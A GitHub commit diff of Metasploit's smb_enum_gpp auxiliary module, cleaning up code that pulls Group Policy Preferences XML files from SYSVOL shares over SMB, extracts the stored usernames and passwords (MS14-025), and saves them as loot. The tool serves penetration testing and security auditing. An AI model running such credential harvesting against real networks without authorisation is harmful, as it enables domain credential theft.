Skip to content

Commit adab9f9

Browse files
committed
Do final cleanup
1 parent 4d0d806 commit adab9f9

File tree

1 file changed

+15
-18
lines changed

1 file changed

+15
-18
lines changed

modules/auxiliary/scanner/smb/smb_enum_gpp.rb

Lines changed: 15 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,7 @@
77
require 'rex/parser/group_policy_preferences'
88

99
class Metasploit3 < Msf::Auxiliary
10-
include Msf::Exploit::Remote::SMB
1110
include Msf::Exploit::Remote::SMB::Client::Authenticated
12-
include Msf::Exploit::Remote::DCERPC
13-
14-
# Exploit mixins should be called first
1511
include Msf::Auxiliary::Scanner
1612
include Msf::Auxiliary::Report
1713

@@ -35,18 +31,18 @@ def initialize
3531
],
3632
'References' =>
3733
[
34+
['MSB', 'MS14-025'],
3835
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
3936
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
4037
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
41-
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
42-
['MSB', 'MS14-025']
38+
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
4339
],
4440
'License' => MSF_LICENSE
4541
)
4642
register_options([
4743
OptString.new('SMBSHARE', [true, 'The name of the share on the server', 'SYSVOL']),
4844
OptString.new('RPORT', [true, 'The Target port', 445]),
49-
OptBool.new('STORE', [false, 'Store the enumerated files in loot.', true]),
45+
OptBool.new('STORE', [true, 'Store the enumerated files in loot.', true])
5046
], self.class)
5147
end
5248

@@ -79,7 +75,7 @@ def check_path(ip, path)
7975
end
8076
end
8177

82-
def report_creds(ip,user, password)
78+
def report_creds(ip, user, password)
8379
service_data = {
8480
address: ip,
8581
port: rport,
@@ -88,7 +84,7 @@ def report_creds(ip,user, password)
8884
workspace_id: myworkspace_id
8985
}
9086

91-
new_user = user.sub(/\s+.*/,'')
87+
new_user = user.sub(/\s+.*/, '')
9288
first, rest = new_user.split(/\\/)
9389
if first && rest
9490
domain = first
@@ -115,7 +111,6 @@ def report_creds(ip,user, password)
115111

116112
login_data = {
117113
core: credential_core,
118-
access_level: "User",
119114
status: Metasploit::Model::Login::Status::UNTRIED
120115
}
121116

@@ -125,21 +120,22 @@ def report_creds(ip,user, password)
125120
def parse_xml(ip, path, xml_file)
126121
mxml = xml_file[:xml]
127122
print_status "Parsing file: \\\\#{ip}\\#{datastore['SMBSHARE']}\\#{path}"
128-
filetype = File.basename(xml_file[:path].gsub("\\","/"))
123+
file_type = File.basename(xml_file[:path].gsub("\\","/"))
129124
results = Rex::Parser::GPP.parse(mxml)
130-
tables = Rex::Parser::GPP.create_tables(results, filetype, xml_file[:domain], xml_file[:dc])
125+
tables = Rex::Parser::GPP.create_tables(results, file_type, xml_file[:domain], xml_file[:dc])
126+
131127
tables.each do |table|
132-
print_good table.to_s
128+
print_good(table.to_s)
133129
end
130+
134131
results.each do |result|
135132
if datastore['STORE']
136-
stored_path = store_loot('windows.gpp.xml', 'text/plain',ip, xml_file[:xml], filetype, xml_file[:path])
133+
stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path])
137134
print_status("XML file saved to: #{stored_path}")
138135
end
139136

140137
report_creds(ip, result[:USER], result[:PASS])
141138
end
142-
143139
end
144140

145141
def smb_download(ip, path)
@@ -151,15 +147,16 @@ def smb_download(ip, path)
151147

152148
path_elements = path.split('\\')
153149
ret_obj = {
154-
:dc => ip,
155-
:path => path,
156-
:xml => data
150+
:dc => ip,
151+
:path => path,
152+
:xml => data
157153
}
158154
ret_obj[:domain] = path_elements[0]
159155

160156
parse_xml(ip, path, ret_obj) if ret_obj
161157

162158
fname = path.split("\\")[-1]
159+
163160
if datastore['STORE']
164161
path = store_loot('smb.shares.file', 'application/octet-stream', ip, data, fname)
165162
print_good("#{fname} saved as: #{path}")

0 commit comments

Comments
 (0)